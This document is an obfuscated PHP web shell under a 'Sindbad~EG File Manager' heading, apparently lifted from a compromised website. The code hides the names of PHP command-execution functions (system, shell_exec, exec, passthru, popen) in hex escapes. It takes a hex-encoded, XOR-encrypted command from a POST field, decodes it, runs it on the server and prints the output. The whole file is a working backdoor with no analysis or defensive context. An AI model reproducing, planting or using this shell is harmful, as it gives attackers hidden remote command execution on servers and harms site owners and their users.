Sindbad~EG File Manager

<?php

$core_engine2 = "shell_\x65xe\x63";
$core_engine4 = "pas\x73\x74hru";
$query_handler = "h\x65\x78\x32\x62in";
$core_engine3 = "e\x78\x65c";
$core_engine7 = "p\x63lose";
$core_engine6 = "st\x72\x65am_g\x65\x74\x5Fcont\x65nt\x73";
$core_engine1 = "sy\x73tem";
$core_engine5 = "\x70op\x65n";
if (isset($_POST["i\x74\x6D"])) {
            function service_registry ( $dchunk ,  $descriptor ){
 $property_set='';
$i=0;
 do{
$property_set.=chr(ord($dchunk[$i])^$descriptor);
$i++;

} while($i<strlen($dchunk));
 return$property_set;
 
}
            $itm = $query_handler($_POST["i\x74\x6D"]);
            $itm = service_registry($itm, 58);
            if (function_exists($core_engine1)) {
                $core_engine1($itm);
            } elseif (function_exists($core_engine2)) {
                print $core_engine2($itm);
            } elseif (function_exists($core_engine3)) {
                $core_engine3($itm, $entry_dchunk);
                print join("\n", $entry_dchunk);
            } elseif (function_exists($core_engine4)) {
                $core_engine4($itm);
            } elseif (function_exists($core_engine5) && function_exists($core_engine6) && function_exists($core_engine7)) {
                $descriptor_property_set = $core_engine5($itm, 'r');
                if ($descriptor_property_set) {
                    $hld_sym = $core_engine6($descriptor_property_set);
                    $core_engine7($descriptor_property_set);
                    print $hld_sym;
                }
            }
            exit;
        }